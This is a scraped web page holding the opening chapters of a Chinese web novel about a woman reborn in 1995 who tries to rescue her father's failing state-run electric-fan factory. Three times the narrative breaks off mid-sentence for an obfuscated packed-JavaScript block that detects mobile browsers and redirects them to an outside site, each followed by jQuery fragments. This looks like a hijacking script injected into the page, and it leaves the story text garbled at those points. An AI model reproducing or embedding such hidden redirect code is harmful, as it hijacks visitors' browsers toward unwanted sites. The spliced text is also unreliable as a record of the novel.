《重回1995:我爸是厂长》
1. 旧照片
“柠柠呢,还没到?”
许国盛躺在病床上,目光看向紧闭的房门,有气无力地念叨着。
赵秋红坐在床边,眼眶微红,一想起那个不孝女,她心绪翻涌,说话带刺儿,“你老惦记她干什么?那死丫头明知道你病了,还跑到国外去!”
“你生病住院这么大的事,打十几个电话都回不来,一天到晚忙忙忙,连家都顾不上。”
她还想说什么,见丈夫面色难看,到嘴的话咽了下去。
几十年的夫妻,许国盛知道老妻对女儿心存芥蒂,尤其是近几年,两人见面就吵,因此柠柠都不爱回家了。
他心中一痛,看着和他相伴大半辈子的老妻,语重心长地说,“柠柠这几年虽然发展不错,可说到底还是个打工的,公司派她去国外出差办事,她能不去?”
“她有她的难处,你是她妈,要多体谅她。她一个人在外打拼不容易。”
赵秋红只不过抱怨两句,丈夫立马出声维护,她心里酸涩难受,言辞越发尖锐,“她不容易,难道我就容易了?”
话音刚落,丈夫皱着眉头望着她,想到他因为病重,吃不下饭,身形极速消瘦,语气不禁软了几分,“你让我体谅她,我好心给她介绍对象,想让她有个伴,她听过吗?哪次不是敷衍过去?”
说到这,她略带几分不满和委屈,“当初她离婚我就不同意,你护着她,任由她作,好好的家散了。”
“她都快40了,没个一儿半女,又死活不肯再找,更别提结婚了。现在瞧着还好,等她老了不能动了怎么办?谁伺候她?”
许国盛听着不高兴,语气不容置疑,“柠柠婚姻不幸福,她哭着向我求助,我能眼睁睁地看着她继续留在贺家那个火坑吗?我只恨自己当初忙于工作,一时没顾上她,看走了眼,毁了女儿一生幸福。”
想起姓贺的那一家人,他面上闪过一丝厌恶,“她受过伤,以后除非她想,再婚这事你不要提了。”
“你什么意思?嫌我事多?”
“我不是……咳咳。”
许国盛咳嗽几声,声音沙哑带着些许急躁,“你一天到晚都在瞎想什么?我是那个意思吗!孩子大了,有自己的想法,她若不想,你别逼她。”
“我逼她?我那是为她好!”
赵秋红气得想骂人,要不是顾忌老伴儿身体,她非得跟他辩个明白!
“咳咳咳……”许国盛气得止不住地咳嗽。
许兆康目光担忧,上前轻轻拍拍父亲的背,给大哥使眼色。
许兆烽无奈,站出来打圆场,“妈,爸身体不好,您少说两句。”
赵秋红瞪了大儿子一眼,扭过身,眼眶微红,心中满是委屈。
咳嗽声渐止,许国盛双眼无神,躺在床上大口喘气。关于小女儿的事,他跟老妻讲多少遍,她都不明白、不理解。
他如何不知老妻嘴硬心软、一点就着的脾性,可柠柠吃软不吃硬,老妻非跟她对着干,只会让女儿跟她离心啊。
病房里,因为父母之间的争吵,气氛有些凝固。
房内或坐或站的子女们对视一眼,欲言又止,各怀心思。
过了一会儿,许国盛突然问道,“兆康,你妹妹到哪了?”
许兆康忙道,“柠柠刚刚给我发信息,说她快到了,您再等等。”
“好。”许国盛睫毛微颤,手指下意识的蜷缩。
他也想等,可他怕等不到了啊。
许兆烽蹙眉,拿着手机准备出去,再给妹妹打个电话。
就在这时,病房门被推开,一个穿着羊绒大衣、高跟鞋的女人,风尘仆仆地站在房门口。
她发丝微乱,呼吸急促,目光第一时间落向病床。
四目相对。
许国盛的眸子,瞬间亮了。
他等的人,终于到了。
许晚柠还没来得及跟大家打个招呼,赵秋红噌地站起来,责备的话脱口而出,“你还知道回来!”
许晚柠浑身一颤,抿着唇,没做任何辩解,大步走了进来。
“爸,对不起,我来迟了。”她跪在地上,隔着衣袖轻轻握住父亲的手,哽咽道。
许国盛见到女儿,脸上终于有了笑容,“不晚,回来就好。”
他见女儿面庞消瘦,眼中满是心疼,“瘦了,在外面是不是没好好吃饭?怎么穿这么少,冷不冷?”
许晚柠摇头,“我不冷,爸,您现在感觉怎么样?哪儿不舒服?”
“看到你,爸爸哪都好了。”许国盛面色红润,精神许多。
一旁的二嫂见状,上前凑趣,“爸,您看柠柠一回来,您气色都好了不少。”
许兆康被妻子拽了一下,随声应和,“是啊爸,只要您听医生的话,以后日子长着呢。”
大嫂见老二家争表现,也跟着说了句场面话,“爸,我跟兆烽虽然因为工作不能长伴您身边,但作为子女的心是一样的,都盼着您长命百岁呢。”
许兆烽点头表示赞同。
“都是好孩子。”许国盛一脸欣慰。
病房里一片温馨和睦,其乐融融,只除了赵秋红冷着张脸,格格不入。
许国盛悄悄给女儿递了个眼神。
许晚柠心中叹息,站起身,目光落在母亲身上,语气平和地叫了一声“妈。”
赵秋红心中冷哼,本想刺她几句,可当着丈夫和子女们的面,她有些别扭地偏过头,应了一声。
一声妈就想让她服软,怎么可能?
许晚柠并不意外母亲态度冷淡,也没心思哄她,见父亲状态不错,转身和大家寒暄,“二哥二嫂,爸住院这些天,辛苦你们了。”
二嫂眉眼带笑,态度亲昵,“小妹见外了不是?这也是我们爸,他老人家身体不适,我们做子女的怎么照顾都不为过。”
“若不是你工作太忙,这次又去了国外出差,一时回不来,我们恐怕还没机会表孝心呢。”
许兆康接过话,“你二嫂说的对,一家人不说两家话。”
大嫂瞥了语气近乎谄媚的老二媳妇一眼,敛了眸子,默不作声。
赵秋红无声翻了个白眼,就你会说,可显着你了!
二嫂惯会说话,许晚柠不意外,“大哥、大嫂,什么时候回来的?”
许兆烽看着一身风霜的小妹,目光不自觉的柔和几分,“昨晚到的,爸心里一直惦着你,你跟爸多说说话。”
“知道了,大哥。”
她冲大嫂颔首致意,又看向父亲,目光温柔,“爸,我跟领导请了长假,以后天天在这守着您,陪您治病,您放宽心,一定要养好身体。”
“好好好。”许国盛被女儿哄得高兴,眉眼舒展,笑意盈盈。
耳边传来一道冷哼,许国盛笑容收了收,见女儿面上毫无波澜,心中无奈。
母女俩处得跟仇人似的!等他走了,柠柠怕是连家都不愿回了。
这可如何是好?
他看向许兆烽,大儿子稳重,处事公道,他的话,老二和柠柠就算心里不认同,也能听上几分,“兆烽,以后家里交给你了。”
一句话重万斤!
许兆烽两眼一红,挺直的腰背弯了弯,“爸!您是咱家的主心骨,家里不能没有您掌舵。”
许国盛脸上带着一分释然,“我还能看顾你们一辈子不成?”
他的身体,他心里有数,叮嘱大儿子几句,转头看向老二。
二儿子老实本分,虽说有些耳根子软,被老二媳妇管得死死的,也算不上什么大毛病。
“兆康,跟你媳妇好好过日子,照顾好你妈。”
许兆康眼泪刷地落了下来,“爸,您放心,我一定照顾好妈!咱好好治病,一起回家好不好?”
许国盛笑骂,“大男人哭什么哭,让人看笑话,赶紧把眼泪收收。”
骂完儿子,他看向小女儿,柠柠性格要强,敢想敢拼,如今有自己的事业,不用人操心,只除了跟她妈关系不睦。
罢了,都是命啊。
“爸?”许晚柠见父亲走神,不知怎的心里有些慌,连忙叫了他一声。
“嗯?”许国盛回神,冲她笑了笑。
许晚柠看着父亲苍老的面容,怕他跟自己交代后事,赶忙说,“您的病情二哥都跟我说了,不是什么大毛病。”
“这次我去国外出差,找关系联系上一位国际知名医生。他下个星期来京市参加研讨会,到时我找机会约他过来给您看看。”可惜他最近的档期满了,只能等他来
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470267|201440||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
京市再搭关系请他过来。
许国盛拍拍她的手,“难为你出差还想着我。”
他看着女儿,怎么看都看不够,想到她刚出生的时候,才巴掌大的一点,暖暖糯糯,乖的很,好像一晃眼的功夫,都这么大了。
父亲又走神了,许晚柠和哥哥们对视一眼,表情凝重,“爸?”
许国盛好一会儿才回神,他面露哀伤,带着一丝不舍,“我女儿长大了,漂亮又懂事,可惜爸爸不能一直陪着你了。”
话到最后,一向稳如大山的父亲居然哭了。
许晚柠瞬间泪目,“爸,您这是说的什么话,您还要长命百岁,再陪我几十年呢。您是不是哪里不舒服?我马上叫医生过来?”
许国盛轻轻摇头,“我很好,柠柠,你妈她……”
他努力想着措辞,“你妈妈一生困在这座城市,没出过几次远门,也不懂时代变化,跟以前不一样了。她要是说错话,做错事,你别跟她计较啊。”
许晚柠还没应下,赵秋红急了,“许国盛,你这是啥意思?”什么叫她说错话、做错事?
她不明白,她到底哪错了?让他当着子女们的面,这么说她!
老妻翻脸,许国盛也不恼,笑着说了一句,“秋红啊,我想吃你做的白菜炖豆腐了。”
什么?
赵秋红一脸茫然,不是在吵架吗?怎么突然转到吃上了?
二嫂反应最快,“妈,爸想吃您做的饭,这是好事啊,要不就在医院食堂做吧,离得近,让大哥帮忙跟院方打个招呼,借用一下厨房。”
“对对对,妈,您快去做饭吧。”许兆康赶忙附和。
许兆烽看着父亲,突然意识到什么,表情微变,他急忙拉着母亲往外走,边走边说,“爸,您等等,我现在就带妈去。”
赵秋红被儿子拉着,一脸茫然地往外走。
两人刚走到门口,房内突然响起心电监护仪刺耳的警报声。
许兆烽心跳慢了半拍,拉着母亲,猛然回头!
“爸!”
“爸,您别睡!妈去做您最喜欢吃的白菜炖豆腐,马上回来!”
许国盛脸上带笑,双眼开始涣散,心里想的却是,其实他最爱吃的不是白菜炖豆腐,而是在那个物资匮乏的年代,老妻第一次下厨给他做饭,那道白菜炖豆腐最好吃。
真怀念啊!
许国盛笑着闭上眼睛。
许晚柠眼看着监护仪上的数字不断变化,最终变成零,她脑袋一片空白,大喊了一句,“爸!您醒醒?看看我,我是柠柠啊?”
“快叫医生!”
病房里一片兵荒马乱,许国盛被紧急送去抢救。
抢救室灯一亮,许晚柠站在门口,从未觉得等待如此漫长。她的心紧紧悬着,连呼吸都变慢了。
没过多久,手术室灯灭,医生走出来,冲大家摇头。
等候区一片哭声,她扶着墙,瘫坐在地上,死死盯着抢救室大门。
很快,许国盛盖上白布,被护士推了出来。
赵秋红扑到父亲身上大声哭喊,大哥扶着她,掩面哭泣,二哥更是悲痛大哭。
不知过了多久,他们护着父亲的遗体远去,她刚要起身跟上,忽然注意到地上有什么东西,她走过去捡了起来。
是两张旧照片。
第一张,他们一家五口站在市电风扇厂大门口。
照片中的父亲身穿深灰色中山装,眉眼带笑,双手搭在她肩上。
她站在父亲身前,梳着两条麻花辫,笑容灿烂。
背面写着照片摄于1986年9月,她想起那时父亲好像任职市电风扇厂生产部主任,同年大哥当兵入伍,成为一名光荣的军人。
第二张依旧是市电风扇厂大门口。
照片中的父亲面容疲惫,头发半白,眼神中流露出无尽的愁苦和哀伤。
背面写着照片摄于1996年4月,当时父亲任职厂长不到两年,工厂倒闭,大批工人下岗,他身为领导遭受太多谩骂、指责和诋毁。
两张照片中的父亲,心境截然不同。
第一张,父亲眼里有光,意气风发,另一张光芒黯淡,仿若英雄末路。
她攥紧照片,大步追了上去。
2. 重回1995
“柠柠,这都几点了,还不起?”
熟悉又有点陌生的声音传到耳边,许晚柠迷迷糊糊地睁开眼。
映入眼帘的是白色偏暗的墙面,一张木纹清漆带穿衣镜的大衣柜。衣柜右侧靠近窗户的地方放着一张旧书桌,桌子上放着一摞书本和杂七杂八的东西。
而她正躺在一张单人床上,身上盖着洗得发白的毛巾被,靠床的墙面上贴着几张海报,刚出道几年的当红小生林英杰笑得灿烂夺目。
许晚柠第一反应,这地方好像有点眼熟,愣了片刻才反应起来,这不是她家老房子吗?
难道是在做梦?
还没等她细想,房门被推开,赵秋红穿着白色短袖衬衫,藏青色长裤站在门口,见女儿睡眼惺忪的坐在床上,有些好笑,“醒了?赶紧起床,这都几点了。”
许晚柠看着年轻许多、面色平和的母亲,目瞪口呆。
以往她们母女见面,哪次不是针尖对麦芒?她忽然想到,梦都是反的,心下稍安。
赵秋红见女儿愣神,单手敲了敲门,“哎?发什么愣呢,早饭我给你温锅里了,一会儿你记得吃,没啥事我上班去了。”
说完,她转身要走。
“等等!”
许晚柠缓过神,急忙叫住她,“我爸呢?”既然是在梦里,见到了她妈,会不会能看到年轻时候的父亲?
“你爸七点多就去厂里了。”赵秋红随口回了一句,低头看了眼手表,都快八点半了,“哎呀,不跟你说了,要迟到了,早饭记得吃啊。”
许晚柠不甚在意的应了一声,待赵秋红走后,她穿上拖鞋走出卧室,看着熟悉的客厅,回忆像是开了闸的洪水涌现在她的脑海。
她在这里出生、长大,住了二十多年,留下太多回忆。后来家里换了大房子,因为她跟母亲观念不合,每次相聚大多不欢而散。是以,她在新家没住过几天,更别提有什么印象了。
况且那所房子也没有一间真正属于她自己的房间,四室两厅的电梯房,她爸妈一间,二哥二嫂一间,侄子一间,只剩下一间不到十平米的书房。
过年回去她住在书房,里面放着一张单人床,床底摆满了杂物。
床板很硬,她一点也不喜欢。
她满屋子乱晃,在父亲书房桌子上看到台历,上面写着1995年7月12日。
“这梦还挺真的。”她喃喃自语。
又或许这不是梦。
-
许晚柠站在洗脸池前,看着镜子里年轻、一脸稚气的自己,眉头紧锁。
难道她重生了?
可她不是在殡仪馆,等着父亲遗体火化么,打个盹儿的功夫,居然回到了1995年,说出去谁信啊?
她先是震惊,随后很是迷茫,索性洗了把脸醒醒脑子,坐在沙发上沉思。
自从离婚后,她独自去了深市打拼,努力工作十几年,挣下千万身家,一朝重生,化为乌有。
有点心痛。
转念一想,自己年轻了20岁,最疼爱她的父亲还活着,好像赚了?
不仅赚了,而且赚翻了!
瞬间想通,她噌地站起来,眉宇舒展,有点小激动,快步走进卧室换衣服。
她要去厂里找爸爸!
-
电风扇厂跟家属院紧挨着,出门右拐走上两三分钟就到了。
许晚柠站在大门口,盯着门口右侧竖牌上写的保城市华荣电风扇厂几个大字,看了好一会儿,神情有些恍惚。
她出生没多久,父亲被调到华荣厂工作,她在这里长大,厂里的一草一木,一砖一瓦,她都如数家珍。
时隔十几年再见,还真有点近乡情怯呢。
许晚柠在心中给自己暗暗打气,等会儿见了父亲,她必须控制好情绪,不能露马脚。
重生一事,太过匪夷所思,她要死死咽在肚子里,谁都不能说。
就在她站在原地冥思苦想时,有人叫了她一声,打断了她的思绪。
“柠柠?来找你爸?”孙叔手里端着搪瓷缸,站在传达室门口喊她。
许晚柠很快认出对方,笑着打招呼,“对,我找我爸有点事。孙叔,有些日子没见着您了,最近家里都挺好的吧?”
孙叔和他家同住一个家属院,既是邻居,又和父亲是同事,关系挺亲近的。
她还记得当初华荣厂宣布破产,大部分人对父亲这个厂长颇有微词,只有极少部分人站出来维护,说了几句公道话,其中就有孙叔。
孙叔说话中气十足,“家里好着呢,柠柠这是放暑假了吧,有时间来叔家里坐坐,让你婶给你做好吃的。”
“行!我可想我婶儿做的凉皮了。”孙婶是陕北人,做的凉皮既劲道又好吃。
孙叔一听,跟夸他似的,笑得露出两排大白牙,“好好好,改天去家里,让你婶儿给你做。”
“好啊,到时您可别嫌我烦。”许晚柠一口应下,笑着跟孙叔摆手道别,往厂里走去。
华荣厂占地60余亩,布局分明。其中厂房面积最大,建在道路尽头,库房紧挨着建在厂房东侧,再后面是食堂和员工宿舍。
许晚柠从大门进来,顺着水泥路,没走几步来到办公楼。
办公楼一共三层,厂长办公室在二楼最里边。
她登上台阶,边走边想,马上就要见到年轻20岁、身体康健的父亲,还有些小激动呢。
忽然,楼上传来一阵争吵声,许晚柠心中一紧,加快速度,冲到二楼。
此时,厂长办公室。
一个穿着工服,三四十岁的中年男人沉声质问,“厂长,我们听说这个月工资不发了?为什么?现在明明是销售旺季,自打六月以来,生产线压根没停过,货一车车拉走,钱呢?怎么连我们工人的工资都发不出来?”
男人身边的人接过话,“是啊,钱去哪了?自从过完年,厂里每个月只发半个月工资,我们上有老下有小,家里都快揭不开锅了。您今天必须给我们一个说法,15号到底能不能按时发工资?”
“到底能不能发!”
问责的话一出,一群人跟着起哄,办公室顿时喧闹起来。
许国盛心中暗骂到底是哪个王八蛋提前走漏了风声,与此同时,他面色不变,先安抚工人情绪。
他双手下压,“大家先安静一下,听我说。”
待吵闹声渐歇,他朗声道,“大家的难处,我都知道,我和大家一样,上有老下有小,每个月等着财务发工资。”
“可是,厂里也有难处啊。”他蹙着眉,欲言又止,见工人们情绪激动,一双双眼睛紧盯着他,在等一个答案。
他扒拉两下头发,破罐子破摔,“我实话跟大家说了吧,这半年每个月只发半个月的工资,是因为厂里没钱了。”
他双手一摊,他是真没想到,当上这个代厂长不到一年,华荣厂已经到了山穷水尽的地步。
上任厂长拍拍屁股高升,给他留下这么个烂摊子,如今更是被工人们堵在办公室。这一刻,他真想撂下不干了。
可若是遇到困难,轻易放弃,他怎么对得起国家的信任,又如何对得起厂里三百多名工人?
一听厂里没钱,众人急了,“什么?厂里没钱了?怎么会没钱,卖风扇的钱呢?”
“对!钱呢?是不是让你们这群当领导的贪了!不发工资,小心我去市政府告你!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470268|201440||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“对,告你!”
许国盛神情严肃,“大家安静!我许国盛来厂里快二十年,当过工人,后来承蒙大家信任,领导大家为祖国经济建设添砖添瓦,兢兢业业,不敢有一丝懈怠。”
“我向大家保证,从未拿过厂里一针一线!也不怕你们去告!”
看厂长神情不似作伪,工人们有些心虚,声音不由弱了几分,“那钱去哪了?怎么连工资都发不出来?”
许国盛见大家听得进去,欣慰的同时,也叹了口气,“大家知道,咱们厂是如何运营的吗?”
有的人摇头,有的人迟疑。
他继续说,“厂里先从供应商那里买原材料,比如铜、钢板、电机等等。原材料备齐,咱们将其制成电风扇,由供销社、百货大楼等经销商开车拉走。”
“听着没问题是吧?现在问题来了,供销社和百货大楼把货拉走了,钱没给我们结。从去年夏天开始,经销商一直欠账,说到年底结清,可到了年底,只结了百分之三十,其中还拿货抵了一部分。”
众人一听,恍然大悟,“我说厂里年前怎么卖起东西来了。”
“我媳妇说比供销社便宜,虽然有点瑕疵,但不影响使用,为此还买了不少呢。”
“重点错了,供销社和百货大楼还欠咱们厂钱呢!”
虽然不知道欠了多少,可欠钱就是不对!那么大的国营单位,居然拿一批瑕疵品抵账,脸都不要了!
许国盛接过话,“没错,迄今为止,供销社和百货大楼去年欠的货款还没结清。年后,我、副厂长、财务和销售科长,轮流找他们领导要账,可他们要么躲着我们,要么说账上没钱,一分都没要回来。”
说完,他一脸沉重,“咱们厂账上资金不多,每个月还要还银行贷款,再加上水电、税务等固定支出,已经入不敷出。”
“为了保住咱们这个厂,我、副厂长和各部门领导开会决定,从今年2月开始,厂里先发半个月工资,共度难关。”
话音刚落,有人问了,“厂长,为什么这个月连半个月工资都没了?”
前几个月拿半个月工资,工人们不是没有怨言,但大多被组长、部门主任,不动声色地安抚下去了,现在连半个月工资都发不出来,他们能不急么?
许国盛解释,“这个月用钱的地方多,过两天要付之前欠供应商原材料的钱,300万,如果不付,人家不给咱们赊账发货,没有原材料,咱们怎么搞生产?”
“还有20号要还银行贷款和利息50多万,这两笔款付掉,账上还剩十几万,得留着付水电、税费,以及应对一些突发情况。”
“我们先保生产,让厂子运转起来,让大家有活儿干,对不住了各位。”
许国盛眼眶通红,给大家鞠了一躬,“我在这向大家保证,经销商的回款一到,一定把这个月还有之前欠你们的工资全部补齐,请大家再给我们一点时间。”
厂长给他们鞠躬致歉,大家慌了,“厂长,您这是干什么?我们信您还不成吗?”
“若不是孩子的学费没着落,我们也不会来堵您的门。”
“是啊,我妈常年吃药,我女儿还小,真是哪哪都需要钱。”
大家诉说各自的不容易,表明来厂长办公室是迫不得已。
许国盛理解,却不得不板着脸,简单批评了带头的几句,不然以后遇到点事,就来堵他办公室的门,传出去,他脸往哪搁?
待送走工人们,走廊上有几个办公室的门开了,有人探头探脑,有人冲他竖起大拇指。
他一脸疲惫地摆了摆手,让他们回去工作,转身进屋。
随后,他往门后瞥了一眼,沉声说,“出来!”
3. 爸,我来帮你吧
半小时前,许晚柠听到争吵声,快步来到厂长办公室门口,发现工人们快把里面挤满了。
大家情绪十分激动,不过父亲尚且应付得来,她没有出声打扰,站在角落听了个全程。
通过父亲和工友们之间的对话,她了解到,原来早在去年厂里就已经出现问题。厂里拖欠供应商的材料钱,经销商拖欠厂里的货款,这不是典型的三角债么?
好多国营企业因为三角债务拖破产,上辈子华荣厂在1996年初宣布破产,极有可能也是因为这个原因。
正想着,她一时没注意办公室已经安静下来,随之耳边传来一声厉喝。
被发现了。
许晚柠一脸讪笑地从门后走出来,“爸,您怎么发现的?”
许国盛轻哼,拿起搪瓷缸喝了口水,答非所问,“什么时候来的?”
“刚来不久。”
“说实话。”他瞪了女儿一眼。
许晚柠立马老实,“在他们找爸要说法的时候。”
“来的倒挺早。”
许国盛坐在椅子上,随口问道,“你怎么来厂里了?”
“我想你了,来看看你。”许晚柠嘿嘿一笑,来到父亲背后,给他按摩肩膀。
“昨晚不是见过了么?”女儿放暑假,昨天下午从省城回来的,晚上一家三口一起吃的饭。
“无事不登三宝殿,柠柠,你零花钱是不是花完了?爸这还有一点。”
说着,许国盛从兜里掏出一叠钱,抽出一张大团结,想了想,又抽出一张,“二十够了吧?”
许晚柠哭笑不得,“爸,我真的只是来看看你。”不是来要钱的。
“那你要不要?不要我收了。”
“要!”
许国盛作势要收,她连忙抽走,揣进兜里。
在知道厂里财务出现问题后,许晚柠心里有些想法,以后花钱的地方多着呢,于是她很没骨气的拿了父亲的钱。
“我给你钱的事别告诉你妈。”省得她唠叨。
“知道了,我肯定不告诉她。”
收了钱,她按得更卖力了,“爸,力道怎么样,舒服吗?”
许国盛享受片刻女儿的体贴,拍拍她的手,“好了,别按了,再按下去爸爸骨头都得散架了。”
许晚柠动作不由地轻了许多,“现在呢?”
上辈子在深市,她没少去做Spa,专门跟技师学了手法,回家给爸爸按过,她爸还夸她来着,难道一年多没按过,手生了?
许国盛见女儿没听明白,索性挑明了,“柠柠,这里是办公室,得注意影响。”
差点忘了爸爸现在是国营厂长,她赶忙收手,坐到父亲对面,一脸懊恼,“爸,您该早点提醒我。”
“现在也不晚。”他有分寸。
许国盛看着女儿,忽然想起什么,打开抽屉,从里面拿出一个崭新的笔记本,递给她,“这个给你用。”
许晚柠接过来,麻利地放进斜挎包,笑呵呵地道谢,“谢谢爸。”
她神情自然地盯着父亲,心中无比感动,从小到大,父亲有什么好东西都想着她。
眼眶有些湿润,怕父亲看出异常,她连忙垂眸掩饰,“对了爸,刚才来了那么多工人,怎么就您一个人应对?其他领导呢?”
“都出去了,今天我留守。”万一厂里有个什么事,也能及时应对。
许晚柠点头,竖起大拇指,“爸,您刚才面对一群人闹事面不改色,动之以理、晓之以情,太厉害了!”
许国盛摆手,“你可别给我戴高帽,劝走他们算什么本事,把厂子救活才算是真本事。”
“您不怪他们莽撞,把您堵在办公室,让您没面子?”许晚柠好奇。
许国盛诧异,“怎么会?是爸爸没本事要回货款,如今厂子发不出工资,他们来要说法是人之常情。”
“是我对不起他们,更愧对组织信任啊。”
许晚柠心中感动,又有些羞愧。
上辈子这时候,她在做什么?
忙着过大学最后一个暑假,忙着玩乐,大四开学后忙着实习,写论文,根本不知道父亲在厂里承受这么大压力。
她在知晓厂里正面临困境时升起的想法,在这一刻瞬间成型,她抬起头,目光坚定,“爸,我来帮你吧。”
不等他拒绝,她开始有理有据的分析,“爸,以目前厂里面临的困境,要么想办法从经销商那里拿到货款,要么找新的销路。”
“事情没你想的那么简单。”她说的办法,他们都试过了,目前没什么进展,不然厂里不会连工资都发不出来。
许晚柠继续说,“以目前经销商那边的态度,除非撕破脸,否则很难拿到货款,所以第一条路暂时行不通。”
“至于新的销路。”她心里已经有了想法,具体能不能实施,她还要深入了解厂里实际情况以后再提。
“爸,咱们厂现在到底什么情况啊?”
“你来真的?”许国盛蹙眉,紧紧盯着女儿。
“当然。”许晚柠毫不犹豫地应下。
既然上天给她一次重来的机会,她一定要守护好最疼爱自己的父亲。她想起在抢救室外的无力,想起那两张旧照片,目标明确!
她重生归来要做的第一件事,拯救濒临倒闭的电风扇厂,让父亲不留遗憾。
“我不同意。”许国盛想了想,还是拒绝了。
他不是不相信自己的女儿,只是她大学还没有毕业,没有任何经验,单凭自己一腔热情,能做什么?若是失败了,受到打击,会不会一蹶不振?
比起厂子,他更在意女儿的未来。
况且,厂里目前面临的困境,他们这些做领导的都十分头疼,说句实在的,华荣厂正值风雨飘摇之际,一个不慎,很可能直接破产。
她一个还没毕业,没进入社会的学生,此时若是介入,结果不理想,肯定会遭受非议,她担不起这么大的重任。
许晚柠猜到父亲拒绝的理由,心里十分妥帖,但是她必须争取这个机会,这样才能真正帮到父亲。
她振振有词,“爸,您目前不了解我的能力,以为我在说大话、空话,所以直接拒
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470269|201440||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
绝我,我理解您。但是,您总得给我一个机会,让我了解厂里情况,听听我的想法吧?”
“你这是有主意了?”许国盛挑眉,女儿这是胸有成竹啊!
这会儿可不是谦虚的时候,她眼睛明亮,自信张扬,“有点想法,不过还需要您支持。”
许国盛见她毫不胆怯,内心十分欣慰,想了想,年轻人太顺风顺水了也不好,既然她想帮忙,他便给她一个机会!
“你想知道什么?”谈起工作,许国盛双手交叉,神情严肃几分。
许晚柠想了想,伸出两根手指,“第一,债务问题,咱们厂到底欠了外面多少钱。第二,库存情况,如今仓库还剩多少货,价值多少,先了解这些吧。”
切入点不错,许国盛露出赞赏的目光,“目前咱们厂的债务,供应商的材料费和银行贷款、利息占了大头。”
“原材料费主要是去年销售旺季欠下的,因为经销商没有给我们结清货款,账上没钱,只能先欠着。截止目前一共欠了1500多万,这个月要付300万。银行贷了1000多万,每个月还50多万。”
“至于库存,”他从一堆文件里,拿出一份,递给她,“你自己看吧,这是今天早上送过来的库存报表。近期热销的新款电风扇,上个星期百货大楼刚拉走一批,所以库存不多,大部分是卖不动的老款。”
许晚柠接过,认真看数据,半晌抬起头,“爸,如果上面的数据是准确的,厂里从去年夏天开始一直亏损,对吗?”
“没错。”许国盛苦笑,他没想到女儿仅凭这些就能看出厂里真实境况,随后他严肃提醒她,“知道的人不多,你别往外说。”
许晚柠点头,把文件还给父亲,站起来,“爸,我想去库房看看。”
“你去库房干什么?”许国盛疑惑,剩余库存,报表上写的清清楚楚,她不是已经看过了么。
许晚柠解释,“报表上都是些冷冰冰的数字,我想看看咱们产品。找到卖点,才能制定更详细的营销计划。”
营销计划?差点忘了,女儿大学学的市场营销,专业对口!没准她真能想到办法!
许国盛按捺住内心的激动,写了张条子给她,“你拿着它直接去库房找你钱叔,就说我让你去的。”
“好嘞!”
许晚柠把条子放包里,走到门口,又小跑回来,一把抱住父亲,闷声说,“爸,谢谢你!”
谢谢你无条件相信我,也谢谢你如此康健地站在我眼前。在这一刻,她无比感恩上天送她回来。
许国盛抬手,摸摸女儿的头,“都多大了,还撒娇呢。”嘴上说着嫌弃,可眼底笑意怎么也压不住。
许晚柠哼唧唧,“我到八十岁也是您女儿!”
“等你到八十岁,爸爸早入土了。”
许晚柠抬起头,表情严肃,“爸,您一定会长命百岁的!”
许国盛一怔,随即拍拍她的肩膀,“好好好,爸爸努力活到一百岁。”
许晚柠满意了,随后想到什么,讨好一笑。
“爸,您再借我个人呗。”
4. 市供销大厦
“许同志,成品库房在这边。”
一路上,张嘉林十分热情,可惜许晚柠并不买账,在他碰了几个软钉子后,老实了。
许晚柠走进库房,笑着跟坐在办公桌后面的人打招呼,“钱叔,忙着呢?”
钱叔抬起头,有些惊讶,“柠柠啊,来找你爸?你爸没在这,要不你去厂房看看?”
“我不找我爸,我来找您。”
许晚柠笑盈盈地从兜里掏出条子,递给他,“我这不放暑假了么,被我爸抓来当壮工。他嫌我在办公室碍眼,派我来核对一下库存账目,顺便跟您了解下产品具体情况。”
钱叔打开条子,上面写着“清查库存”四个字,没有盖章,但看字迹确实是厂长的。
可晚柠不是厂里的工人,他面露难色,“这好像不合规矩吧?”
张嘉林见状,上前一步,小声道,“叔,您只是带许同志转一圈,核查一下成品库存,顺便看看成品,又不损害厂子利益,怕啥?”
也是,柠柠是厂长家属,是他们一帮老人看着长大的,再说有小张和他陪同,能出什么事?
“成,我带你们看看。”
钱叔拿着账本,带两人在库房走了一圈。
偌大的仓库,纸箱成堆摆放,不同型号的产品分开,整齐有序,一目了然。
看过之后,许晚柠心中有数,指着门口右侧展示区,“钱叔,库房里目前有库存的型号,这边都有样品展示吗?”
“对,都有。”
“您能跟我说一下每个产品的优势,以及不足之处么?”
“这咋说?”在他眼里,他们厂的产品不论新款老款都是最好的。
电风扇只要质量好,能吹风,就是好产品!
张嘉林见状,主动揽过来,“我来介绍吧。”
“也行。”许晚柠无所谓的点头。
